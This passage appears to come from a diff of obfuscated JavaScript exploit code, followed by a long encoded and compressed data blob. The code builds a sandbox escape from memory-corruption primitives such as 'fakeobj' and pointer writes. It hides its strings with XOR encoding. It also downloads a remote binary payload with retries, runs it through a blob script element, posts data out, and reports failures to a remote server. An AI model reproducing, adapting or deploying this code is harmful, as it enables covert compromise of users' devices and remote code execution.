37, 39, 117, 36, 119, 115, 119, 127, 36, 39, 116, 39, 126, 32, 114, 118, 36, 35, 116, 126, 113, 32, 112, 114, 112, 34, 114, 34, 113, 115, 127, 117, 35, 36, 118].map(x => { + return String.fromCharCode(x ^ 70); + }).join(""))).platformState.versionFlags.EMDU4o); + E += 32, Q.write32(I + globalThis.moduleManager.getModuleByName(([8, 13, 15, 15, 0, 90, 88, 10, 91, 8, 12, 8, 0, 91, 88, 11, 88, 1, 95, 13, 9, 91, 92, 11, 1, 14, 95, 15, 13, 15, 93, 13, 93, 14, 12, 0, 10, 92, 91, 9].map(x => { + return String.fromCharCode(x ^ 57); + }).join(""))).platformState.versionFlags.EMDU4o, E); + const U = { + CA: M, + IA: w, + start() { + setTimeout(U.wA, 1) + }, + BA: (A, B) => Math.floor(Math.random() * (B - A + 1)) + A, + NA() { + g[1] = 0, g[0] = BA + }, + EA() { + g[1] = 0, g[0] = BA + }, + TA(A, B, g, Q) { + try { + let Q = !1; + const D = new XMLHttpRequest; + D.open(([59, 36, 56, 63].map(x => { + return String.fromCharCode(x ^ 107); + }).join("")), A, !0), D.setRequestHeader(([16, 60, 61, 39, 54, 61, 39, 126, 7, 42, 35, 54].map(x => { + return String.fromCharCode(x ^ 83); + }).join("")), ([32, 49, 49, 45, 40, 34, 32, 53, 40, 46, 47, 110, 43, 50, 46, 47].map(x => { + return String.fromCharCode(x ^ 65); + }).join(""))), D.onreadystatechange = () => { + 4 === D.readyState && (Q || (Q = !0, g())) + }, D.send(B), setTimeout((function() { + Q || (Q = !0) + }), (1399339115 ^ 1399332731)) + } catch (A) { + Q() + } + }, + download(A, B, Q) { + g[0] = QA, (async () => { + for (let g = 0; g < 20; g++) try { + const g = await new Promise((function(B, g) { + const Q = new XMLHttpRequest, + D = new URL(A), + M = Math.random().toString(36).slice(2, U.BA(5, 10)), + w = U.BA(0, 1); + D.searchParams.set(M, w), Q.open(([1, 3, 18].map(x => { + return String.fromCharCode(x ^ 70); + }).join("")), D.toString(), !0), Q.responseType = ([9, 26, 26, 9, 17, 10, 29, 14, 14, 13, 26].map(x => { + return String.fromCharCode(x ^ 104); + }).join("")), Q.onload = () => { + const A = Q.response; + A && 4 === Q.readyState && (1365401398 ^ 1365401598) === Q.status ? B(A) : g(Q.status) + }, Q.send(null) + })); + if (void 0 !== g) return void B(g) + } catch (A) {} + Q() + })() + }, + UA(A) { + try { + const B = new Blob([A], { + type: ([15, 30, 30, 2, 7, 13, 15, 26, 7, 1, 0, 65, 4, 15, 24, 15, 29, 13, 28, 7, 30, 26].map(x => { + return String.fromCharCode(x ^ 110); + }).join("")) + }), + g = URL.createObjectURL(B), + Q = document.createElement(([70, 86, 71, 92, 69, 65].map(x => { + return String.fromCharCode(x ^ 53); + }).join(""))); + Q.addEventListener(([2, 21, 21, 8, 21].map(x => { + return String.fromCharCode(x ^ 103); + }).join("")), U.error, !0), U.LA.bind(U), window.qbrdr = A => { + U.LA(atob(A)) + }, document.body.appendChild(Q), Q.setAttribute(([55, 54, 39].map(x => { + return String.fromCharCode(x ^ 68); + }).join("")), g) + } catch (A) { + U.error() + } + }, + sA() { + const A = new URL(location.href), + B = ([0].map(x => { + return String.fromCharCode(x ^ 118) + }).join("")) + ((new Date).getTime()); + A.searchParams.set(B, "0"), window.history.replaceState(null, null, A); + const Q = () => U.BA((761615992 ^ 761615895), (1733964879 ^ 1733965736)), + D = document.createElement(([51, 62, 33].map(x => { + return String.fromCharCode(x ^ 87); + }).join(""))); + D.setAttribute(([53, 50, 63, 42, 35].map(x => { + return String.fromCharCode(x ^ 70); + }).join("")), ([61, 34, 51, 49, 59, 38, 43, 104, 114, 98, 124, 98].map(x => { + return String.fromCharCode(x ^ 82); + }).join(""))), D.innerHTML = (Q()) + ([90].map(x => { + return String.fromCharCode(x ^ 119) + }).join("")) + (Q()) + ([104].map(x => { + return String.fromCharCode(x ^ 69) + }).join("")) + (Q()), document.body.appendChild(D), setTimeout((() => { + const A = new URL(location.href); + A.searchParams.delete(B), window.history.replaceState(null, null, A), document.body.removeChild(D) + }), (2037727825 ^ 2037736769)), g[0] = IA + }, + wA() { + if (g[0] === wA) { + g[0] = QA; + const A = new Uint8Array(B.buffer, sA, kA); + let Q = ""; + for (let B = 0; A[B] && B < A.length; B++) Q += String.fromCharCode(A[B]); + Q += ([72, 12, 21].map(x => { + return String.fromCharCode(x ^ 102); + }).join("")), Q.endsWith(([120, 59, 63, 56, 120, 60, 37, 120, 60, 37].map(x => { + return String.fromCharCode(x ^ 86); + }).join(""))) && (Q = Q.replace(new RegExp(([126, 61, 57, 62, 126, 58, 35, 126, 58, 35, 116].map(x => { + return String.fromCharCode(x ^ 80); + }).join(""))), ([118, 50, 43].map(x => { + return String.fromCharCode(x ^ 88); + }).join("")))), U.download(Q, U.UA, U.error) + } else if (g[0] === UA) { + g[0] = QA; + const A = new Uint8Array(B.buffer, sA, kA); + let Q = ""; + for (let B = 0; A[B] && B < A.length; B++) Q += String.fromCharCode(A[B]); + const D = new Uint8Array(B.buffer, FA, SA); + let M = ""; + for (let A = 0; D[A] && A < D.length; A++) M += String.fromCharCode(D[A]); + U.TA(Q, M, U.NA, U.EA) + } else g[0] === TA && U.sA(); + g[0] !== EA && setTimeout(U.wA, 1) + }, + LA(A) { + const Q = A; + if (Q.length > B.length - 8) U.error(); + else { + for (let A = 0; A < Q.length; A++) B[A + 8] = Q.charCodeAt(A); + g[1] = Q.length, g[0] = BA + } + }, + error() { + g[0] = NA, + function(A) { + const B = platformModule.platformState.fixedMachOVal3; + if ("" !== B) { + const g = utilityModule.resolveUrl(B); + if (g) { + const B = new XMLHttpRequest, + Q = g + ([69, 31, 71].map(x => { + return String.fromCharCode(x ^ 122); + }).join("")) + A; + B.open(([113, 115, 98].map(x => { + return String.fromCharCode(x ^ 54); + }).join("")), Q, !0), B.send() + } + } + }(DA) + } + }; + return U +} + +function executeSandboxEscape() { + const A = YA(); + let B; + if (platformModule.On()) throw new Error("platformModule.On()"); + return B = (() => { + const B = new oA(platformModule.platformState.fixedMachOVal1, platformModule.platformState.fixedMachOVal2, platformModule.platformState.fixedMachOVal3); + let g = (B.length() + (1160857433 ^ 1160861529) & (4294967296 + (944795501 ^ -944791699))) >>> 0; + const Q = g + (1733904196 ^ 1736001348), + D = platformModule.platformState.sandboxEscape.newInt64OfSomething(Q).toPointerValue(); + B.kA = Offset64.fromUnsigned(A.CA), B.FA(Offset64.fromUnsigned(D)); + const M = Offset64.fromUnsigned(D); + let w = B.SA(M); + for (; w.length % 16 != 0;) w += "\0"; + g = 2 * w.length; + const C = window.PhZuiP = new Uint32Array(new ArrayBuffer(g)); + for (let A = 0; A < g; A += 4) C[A / 4] = utilityModule.readU16FromString(w, A) >>> 0; + const I = utilityModule.Int64.fromNumber(D), + E = (utilityModule.Int64.fromNumber(platformModule.platformState.exploitPrimitive.fakeobj(C)), g); + platformModule.platformState.sandboxEscape.Ad(I, C, E); + const U = B.YA().ct() + 4; + return platformModule.platformState.caller.jd(utilityModule.Int64.fromNumber(U)).Pt() + })(), A.start(), B +} +class oA { + constructor(A, B, g) { + const Q = new Offset64(0, 0); + this.yA = CA(Q, Q, Q, Q, 0, Q, Q, Q, Q, Q, Q, Q, Q, Q, Q, Q, Q, Q, Q, Q, Q, Q, Q), this.oA = gA.lzwDecompress(gA.base64DecodeUtf16("zwD6AO0A/gAMAAAAAAABAAUBBQEGAAgBFQAIARAACgAFAYUAAAAQAAgBBQEZAAgBaAADAAUBXwBfAFQARQBYAFQAFAEhASIBFAHAACMBJgElASEBBQAIASoBBQEPASIBGwF0AGUAeAB0ACYBGgEcAR4BIAE1AewAXAAiAbwAUwAiATsBBQECADUBCAEEAAAAgABEATYBeABJATYBHQEfAUQBqACwACIB2AAHASEBUQFCAUwBRgFIAUkBGwFzAHQAdQBiAHMANQEbAU4BOQEmAYAAsgAiAUQARgEhAWgBWAFEAQgAWgEUAQQBLwFfAF4BYAFfAGgAZQBsAHAAZQByAAgBZAE4AUQBxAC2ACIBXABsARQBhAFvAUQBcgFcAV8AbwBiAGoAYwB2AV8BYQEUAYEBTwE1ASAAuwAiAUAAIwGbAQUBLAGMAUcBTAEbAWMAbwBuAF4BYwE3AZkBJgFgAJwBIQEwACMBrwEFAYgBTAGlAV8AYwBeAXIAaQBuAGcAIwGYAWYBIwGQALABiQFDASEBxAG3AQAAxwG3ARsBkAGSAV8AbQBlAHQAaABuAGEA0gEAAMEBRAFUAL4AIgE+ACMB3AEFAVUBNQHMAbgBdQBuAHcAvQFkAF8AvQFmAG8AgAGsAcIBIgGUAN0BIQEYAOMBCAH0AYsBygFEARsBZQBoAF8AZgByANcBZQB1AWUBRAGwAL8AIgE0ACMBCQIFARkB/AFJARYBBQE4AFUBGwFEAEEAVABBAF8AQwBPAE4AUwDyASgBIQGeASIBIgIUASQCFAEQAgAAKgIqAhMBNgFnAG8ANAH9AV8AGAIaAhwCHgIgAiEBJgIFAZAAJwEPAkkBCgEFAVsAjgGnAakBMgLAATQCGQIbAh0CHwLCAZAAOwIAALIBIgFPAj8CEQIzAs8BkwFpAG0AYQBnAGUA7QFvABcCSgI3Ak0CJAFQAggAIwHAACgB5QFWAiIBEwIAAFQBNgE1AkEATAH4AQUBKAIhAXUCAAB3AlUCKwIrAUgCbABhAHYBeQBtAGIAbwBsAF8AcAB0AH8BYQIaAnQCIQHYAGsCCAEHASoCJgEHAAgBbQCOAVgCdgF7AXIAZQBmAGIB2QFJAo0CNQGQAnUCLgKPAgIAkwJJASwBpwKrAZoCYwCAAnMAcwCdAp8CjAJzAjUB6ACpAiEBZwIiAbkCqgK3Aa0CJgEbAb0BMQFyANYBbAB1AXICRAHwALoCTAHMAnkCbAIhARsBZABhAHQAYQAzAsoCNQHPArsCIwHbApQC0QIUAW4CSADwAUwASQBOAEsARQBEAEkA8gF2AnUC8AAcACMBQADuAvACeAKSAkkBDQAIASAACAEYAPYCFAHjAQcBeAAwADEAIQEiAAUBgABSAu0CEgENAfICEgGRAhQBIABCAAcBYAC8AoAASgAHAfwCiwEYAxIBSwAHAXAACAEwAFUABwHAAJYCAAALAAgBUAAjAf8C/QLLAQgBbgDgAiMBEABSAAcByADRAhsA+wIIAUEA0wCeACAABACjADUA9ACsABMA9gBpASYAAwCGADIA+QIIAWsC+AIFAfgC4wGUAgEANAADACoADQFJASwANwMIASgCWwEmAXQBAAA4AFgDLAP+AvYCLwB1ALMCLwBsAGkAYgBnA2kDpwFtAHAAnQKyAmkAqAEuAGQAeQBoA2IACAFdA18DBQEaA2sC5ABjA2UDcgBrA2oDdwNYAi4AQQB0A3YDaQNcAycDYANrAkEAGAMHAS8AUwB5AF4BZQBtAC8ATABpAwMCcgB5AC8ARgADAtIBdwBvAHIAawBzAC8AVQBJAEsAaQB0AC4AAgIEAqMDpQOoA6oDrAOMAwUBYACOAxQB/wChACQDlgAAAJMDlQMxAZgDmgNiAJwDngOgA7ADpAOmAy8AQwCkA2UARgBvAOcB1AJ0AHIDbgCuA6EDZQCxA2sAzAPOA9AD0gPVAtUDIgFdA2gAuQMPAjwA2QBsAZIDlAOWA8MDmwNhAJ0DnwPYA9oDpwPrA8IDzQNuAGYAaQBnAHUAAwLUA3MDrwOiA8oDwAPsA/cD+QP7A/0D4QN5AwgBWADlAwAAZwJ6ACwB6gPBA5cDmQPuA/ADyAMBBKUDpwNDAEYATgDTAdoD1wPJA7IDHAQeBHQA2gO2A14DDQQFAScAEQS/A4EDgwODA/UDlwMuAEIAiQN3AyIBJgBVAwUBmAAWAwAASwEFASkAOgQbA9ACLwNFBEYERwRIBEkESgRLBEwETQROBE8EUARRBFIEUwRUBFUEVgRXBFgEWQRaBFsEXARdBF4EXwRgBGEEYgRjBGQEZQRmBGcEaARpBGoEawRsBG0EbgRvBHAEcQRyBHMEdAR1BHYEdwR4BHkEegR7BHwEfQR+BH8EgASBBIIEgwSEBIUEhgSHBIgEiQSKBIsEjASNBI4EjwSQBJEEkgSTBJQElQSWBJcEmASZBJoEmwScBJ0EngSfBKAEoQSiBKMEpASlBKYEpwSoBKkEqgSrBKwErQSuBK8EsASxBLIEswS0BLUEtgS3BLgEuQS6BLsEvAS9BL4EvwTABMEEwgTDBMQExQTGBMcEyATJBMoEywTMBM0EzgTPBNAE0QTSBNME1ATVBNYE1wTYBNkE2gTbBNwE3QTeBN8E4AThBOIE4wTkBOUE5gTnBOgE6QTqBOsE7ATtBO4E7wTwBPEE8gTzBPQE9QT2BPcE+AT5BPoE+wT8BP0EcgT9AHsAvwCpAP0AGQGRALMAlgKUAB8ABQFxAOAABwCfABoAAAXBAKgA6gADAB4AqgD+APMAAQCyAP8AIAADANUA6wAZBbIAfwABAB4A6wD+AAMACgCqALcCVADAAAMAXwDWABQFFgX1ABQAAACUAAAFAgUnBQAAqgAcBR4F4AAVBaoAEQUTBT8FGAUaBTwFHwUhBSMFJQUnBSkFKwUtBS8FMQWqAOYANAWUAPQATwC+AAMFewABAAMFQwAAAJEA9AADAAEAqgDzABkBqgCRAAgFoAAFATQAPgUTAKoA4QADABQAqgCFAAgFYwU6BWsFQAV7AEEAqQBVBcIAQgUWBUQFGwUdBUcFGgVJBSYFKAUqBQUBLAUuBTAFPwXOAFMF+gBnALsAqQD4AF8AWgX2AFcAAgB6BU8AAwBYBQQAAwVgBZEAgQAFAbQAYwUCAKoAXwVhBYIABQE1ABMAkABAALkAUwBDATQAFABEAEAA+QAXAEcBUgC4AAAAoABSAOgAAwBsBRkAQQBBAHEAFQAxAJgAGgCWAEIANwCLAD4FFgBtBQMAFQCqAAkAFgA1Bc0FzwXRBdMFNQX3AEIAQQARAL4FGQCqAH8AAgAXAGsAiAD+AP8AVAAABUQAmQVDAKkAlgVCAJIFXwB5BY8FxQB9BRcFIQVGBSAFgwUkBYUFTAWIBU4FiwUWBaIAUwVVBVcFAAVaBf0AXAWRAHQF0gW0BfkACACtBbkACgCcALUFKQABAAgAiwArABEAAADRAJQFAADxAGoAAQCKAJoASwD9AN8AiAAjBQAAcQDsABcADwVtAAEAAQALAKwACQAMAAsAnwAXBmsASABGAVQATQD9AF8AiAC/ADEGawChBQAAVABMAP0ADQCIAI0A/wD/ADUAEAIUAF8APwAeBfIATAYXACAAQQAsAMsAYAA5BPkAYQBSAAAAuQAhAHwAQACSAF8ADAGUAGgAkgC1BTQDAAC0AGEAJgC1BWIAUgCuBXYFFAUIAKoAfABTBQYDUgAABXkFewX2BX8F+QVIBfwFSwWHBUUGAAZQBW8AUwW4A5gAUgDzAFUGCQBQAK4FPwAwBusAeANFBmcCgADSAEECFAAIACQAtQUKADAGiwAKACQAAAD5ABYGAQBLAJEGYAY+BXcGUAWBBoEF+gUiBYQGhgVNBYoFUAVYAFMFMAZtBuIAogU3BZ4FXQU+BWEFbgWlBS0AZwZBBXsGrwb4BbEGgwZKBbUG/wW3Bj8FRQBTBf8AwwACANEAkwUHAO4FVwAIAJkFCQBYBQoAAwWDAAIAXgUDAAMAqgD1AGAFYgVkBf8AEwCmBqgAuAXoAH8AAwApAOAABwG0AGgArgBXADkAqAAHATQAaAD6AEIA+QBoAPcGQQSaAFIASQABAKAAcgAhAH0AQAARAMkAgQCJAFIAiQBhAK4AcgAjABEAHAAyAHYFQwGaBnYGqgAqAFMFaAAiALUF4gCDAF0F4wBiAZEAdgVuBdEFIAcjAFMFLQUAADQA6QY6BfkG+wYEBzQHAAcCBygA9wYRBxMHFQcXByMAnQAHABEALQfQBaoAHgfSACAHFQBTBT4F0QUABUoAmQVJANsGSADxBUcAqQDVBuQGygZFBcwG+wXOBv4FhwbRBhYFBQBTBeEAEwC1BYEAQwG0AOIAHwCuBV8ABAFxACkAQwFUAGAATgC1BSQCtAAhAO4GlADgACgHkQDhACsHxwBnAmgG+gY5AMAAsQU2B6oASAD8AP8A/wYBBw8Gjge0AEAHFAcWBxgHNQBGB9cAVQY1AAAABwchAwsHOAc5AAgA+wCPBzwH+QDIAPoA/wCUBxIHlgdDB30ARgd2BSEAngdSAEEACgdyAMwAVQaIAP4GpwdIAD8HrQdCBxgHJQCxB78FhwWNBoEAtwdLByAH1wB9B/8AJgP5AP8ADwBgBmgAdgAmB2kH+QDjAG8HuQAtB7sFUgAgB84AfQcMAzUHZAWiB8gA9gCmB5EHiADnB6wHQQeXByMA5QAGABEAqwBVBuIACgbjADMAwQbFB+EA3QeGABMBlADiB4sHogfoAPQA6AcCB6gABAjsB64HGAexAAAAEQCcAFUG1wCtB5cAlwfoAAsAtQVoADYApgboAA8ArgVoAH8BuQCiBzoHkAc9B/cGSQAAAI0GiQC3ByEABwEyAOMAQgANCB0HRwFMBwMAdwajAH0HaAAKADkHqgVoAA4A+waIAJYC/wamADoIOweiAD4IRgE0ACgAuAVoABIAFwA5ACEIvAeRBz4HbQYmCCgIKggJAA0I4wBiAAMARwfFB8oHNAiqAI0ANwh+ALUFdgUwBrwFIAeIAH0HiwcgAAcBNQBoAIYAtQWiAOMAHAZlCAoH3gdfCIAAaghkBcAACgH/BocHCADtAAUIqAfsAKsH4wBWAFsIXwBVBvAGgABSAKgAQwAcALgA/wB/AAUAWgdjAGAGvwCDABwA+AAfAIEFiADpAAIADAQBAK4F9QcBAJEAowDzABwGIQACAIwIyQBTBYAAQAgMAQEAMgCiB4gA6gCCCEgAtgi0AOMAigBbCEsAVQacCB4FqADnAKAIBgGjCEMApQjjAJYIkQCqCIwIugBPBwoBNQD2ACsAtQW2AAoBtADIABYAtQUIAPkAfwDyABMDRQbACNUAiQDmAKAIFga1BZQGCADqAMAAHgBFBqIHSADsCCMIDwbsCLoIngABABEA1QAAAIoAUgB2BcEA+QhSADIAVQa1AIMAXAD4APUAKgH4BmoGqAeiBaEALgBxCKoAdAbFByAHQAA3CB4AcQa8AAIAEADhCKMAcwjRAEgHLwdfCDgAegg6BYAADwF+CPsGCADkAIIIyADjAIUIMgBbCBcAVQboANMIDwYZAbQACQAVALUFNgDcCPIAoAD4AlQAyAACALUFqACZCPgAaAAMAbUAnQeCAFIAvQBVBu4IUAgCBwgA9wb1AP4I3Af6CEsHwwCtB4MAlwcFAFUGUwn6CFwJ/wAXAJUA/giaAF0J/gisAFUG4QAjAKUIdgW5AIUHiwdgAEMBNQDgACcAcQgcCQcBjAjDAG8JZAUMA3MJdQn5AKEAAwn4AKIAAQCMCBkBmgbWAHsJdQV/CYEJBAnvAIUH4QB/CXYFCQBXCGgGAACOAFIAvwACAAgAawAgAIQIVAAVAAwBNQAVACAAvAUGA9IAAQClCVIAvQaMCFwFgwBSACoBmgZaARIA+wB9B1EJ+ggfAEYBsQAwBg8FQAA0BVQAfwCeAKYGYABGAKYGdQCSAGAGfwBfBrkAAAB/A08AYAB2AIEAPQDYCNoIogiSAFEJOgXYCKYGvghhCQIJBAm1ABsG+AaHByIIpwdSCLQAVAgUByoI+AIRAOMA6gACAFwIbAVeCHcG1QASANUFEQlJB9IA9QmUAPYA5AeHB1II8QjoAKIF4wDaAO8JSAfOBfIJqgDHAPoJaACCAGQIxQdmCHcIdwbCAPoJDAGMCJYAQwG5AKsA5wUXAL4FpgaSCJ0F/wAKBdAHNwDTB4oAJgdzCJEA4wDTAPkHbAWhAN0HIAe0APoJIAAqATUASQgHB74HCwcBAHUAQABRAOIAawksB8UH0gAIBUAARgF+CSYHnwV4CVIAXwCFB6AAGQE1AGEJpgbhCOgAzwCgCFEJrgUyCWAGbgXrBeMAowBdBVoIjAhDAbgAxgKFB0AAcgnoALsAQABOCGkF6AC3AGkKUgg1CiAAjAjoANMAAgB4AFoKqQBcCl4KAwBgCgAAqAByAGIAhQcoATUAdwqECYYJMghdAGQKVwjjBzoF1AWaBpEJtQUrCG0G6AAjAEIJogXCBs8FdwZwAJAJkgnFB4oAhQe1AOIATQbhCKgAywBVCqIIqAebCcwF9wl3BncA+glDCQQJCQABAEQAkQBpAMUJ+QAJAB4AvAVpAMgJuQDpAFcAHgAyALEKCQCLAGkAwgn5AHYA7gkDB+4AAgDcCMsJSAC5AP8AGQmBBWgAvgP5AEAG0QrhCGgA1AWoB8EA2ArTCloApgZJCIwIaAAeAE0IaACKAAsAeQDHABsK+Aj6CEkAGwrBCaYGaAC2CggAqglpBskJywnNCQAAzwnRCT0AvQAbCrUA/ggeAE0JhweoAMcAgghoAAcLugjWAPYINAAbCqIH2AnxCGwGughSAAUKXQgyCCAHRAAUCiIGUgAuABsKpwmpCbwFeAOtCQAArwmzCbEJ0gBEAH0H/Ak6BbkJAACxAE0K4AiBBSgAwgDECKIIuQChABwJAgCqCSMAuAWXAH0HcQkAADUArwr4AEAJUQqBBagAwQCmCrUFiQcYBuEAbwf5AOIANwCuBSoAfQfhCAgAiQehCK4FbgUHCqoJhwlSAH8DjAhpCDUFbAg0B7EIMgCUAFUG8QD6CWcCrgUfAAcBcQAIAFUAiABaABUAAQACADIAjgBpCQMA6wXCAAQAhgqaBuMACAWLBx8GTQa+BbUFNwkVBtYJFgbOBTcJpgaCAFUGlgW9AJkFCAZ7AJgF/QCAB/8AQwAQANEANQABAJ8HtwcgANYIDAZ/ACYDfgc0CnYFQgAKAZQAgACoC8UHgwAZAZQAMwpCC3YFZgCBCkUKaABqAIgLMgC/ANIA6QDfAN4A8gDpAI4H8gBRCcMKtAAKAVEAaQAyCAkAyAC/APIAyQAhAMEAwgsBAOAA8gA+BXAFbwsJAOsAKAAZAVQAaABFCPwGKgE0AGwImAmeAaEHwgBuC7IKcQBDAHUHKQCAAIwICQACAAsH2gtrAIMAOwZoAOIArgVJAHYAkQBSAAkAawCjAHIA9QvsAHUHSQC9AJ0AUgCpAOwAsAADDAEAAAxgAN4LqQAHAJsAUgC1CrsAcgDUBQAAFACgAAUDUQCaCxAAkQAABfAFVQV5BZYFwwCABssGHgWyBoQFhQa2Bk8FPwXDABsGlABJAJoAjAipAMQAfgr1C2gFRQZpAP0L/wsBDA4MAAxhAP0A6AXiCr0FPQs5AOAAPQuRAPcABwGUAJMKaQqpAC4DEQBvCyoGPgcPBakADwFVDAsFBgGJABoA4AClB24I6Qu9Cl8AjAh0BwsH2AuqAPULKAClB1QAHwCBAEMAcQDjBpgGhQm9BZYC+QCYCB0A+AAgAIkAAgBwAOEIoQBdCtEAPgpdBYcJ0gBaAdIA9wD6CR0KqgCpAIMAXQD4AKoAVAwrAP0AVADTACkG8QDgABMAigAaAOQDQguUBkQA8QD3C5gG8AuNCIMAewxLDF0FhQmMCGsA+gkAAIcAAgBQAOEIagldBaIAgwyHDIkM4gD6CeAAqgVRDPwGaQVwDCoGYQAPAVQA6AB1CTkAKAAPAWMMbgvBAHIM6AAHAVQARwwVCGAGeAD6CbcMHAbjAEwMYQB2DG4AjAxkBY8MXQC4AJMMDQiUBioGPgWdDOMCQgsAAAQIcwnFB9UAKgGUAKAAjwadB8kArQyvDJYCtABfBToFbgXxCfYMFgz6CYAAQgC1BVsBtACcAK8M1ggCDaYGkwB4B/kAqAhtBgAAfwtSAF0A+glAAAcJYAAGAEAArQARDQAArQCAAE4ApgaAAD4ABA2iBY8A+glgAEYBtAAiDSENcwb5AAUNigD6CTMHKg1fBi4NVgAkDW0GhQAyCjUJgABWAKYGnQcHB50HaQxMDFsAJw1yCaoMkQBzAowIWgD6CaAAbQhlChIB4QhKAI4HlwB4CdIAVAAzDOIAZAWgAIMMtQwpCm8FqgBSAPoJCgUqBvUABwCVAGAMTAxFALwMSQdhAFUGoABUDIkIYQn/AOYG0QCPBdoGkwXdBpYF3wZVBeEGAAULAAMF1gYLBmQFNACfC1IAVAC3B4gAOQRRAKgAwwAbALgACACEAEEAeQAfADkAKgZGC1QAGwBTDYAAsQUgADYD0goeBVUNNQBTDeAAIgrhCAAAdgACAFwAqgz9AOEAKAriAGMApQhgAHYMPAC8DNIHNADmADMMbQu5AFYMcQtzC1oAFAB3C7MIBQEUABYBjAj2ACgK/wDbAJsF4QggAHQAqQ10CQAA/QDhCMgAmACgCBoApwr6ACsARwseBUAArwAEAFgACgC8DA8BtACLB1IKlwCgCOgAeAzhCIAAcgDPDSYD/QDoAAQBnw3VAAkAmwAYCVIKpwBaBeAA2wCYBesApQeXAEQKNAeTCl0FFgBzApEAKQBcAO0AqAkPDGsMgQWgAJUAoAgdADMMDQWmBuAAHAj5AFwLqgD7AP4HFg6mBvcA1wfnDW0G+AAZDfkAPgUYAKoA3QAzDHwIbQYsC88FFwCqAFkNJw7bADMMXwXOBYAADgBBAPgAbgVwBewA/gebDaYGNQ6qAIAAjgA5DjsOqgDnAD4OQwH5APYA7gZRC0wMUAeqAFMAfQdRDPkAAAD4Al0GAw35ALYHbQY2CAEAHQnFB38AUw2MDVsAuABjDXEAwA2AABoAVA4CAA0AtQVPBlkNOgU0BYwIXwAAABoA6wA8DFQAUA5IAFMOlAr5ABoAVw6ZAP4G4QCwDZEAsg18CpoG2gATDmkFhAC5DXoCuw1wC3ILdAvADXgLTwZoALIA+wa5ArQLKAowBowIdwATDl8NAAVLAJkFUweWBVUHkwVXB48FWQdzDQMAkQBdB4AFKwzNBv0FhgaJBTAMFgWTAP4HlQ1iC1UGewZ9ADQOVgVYBQgGCgYMBhIBFwjZCA8GBQC1BWwOtQUXAFYLgQXoAIgASwv5AGkAxg4pAMgO+QAoAFcOfQaZBXwFrg6CBmAHsg4vDAEGqgB0AP4HBQbADlsFXQVjBWEF+wyqAKQBywgQAHEGuAU7ADMMgACiAF0FYQDGDqkCjAg3ADMM2g5/Bt0OXwezBmEHsw6IBj8FWwDlDr8OBwboDoINOgUbDLUF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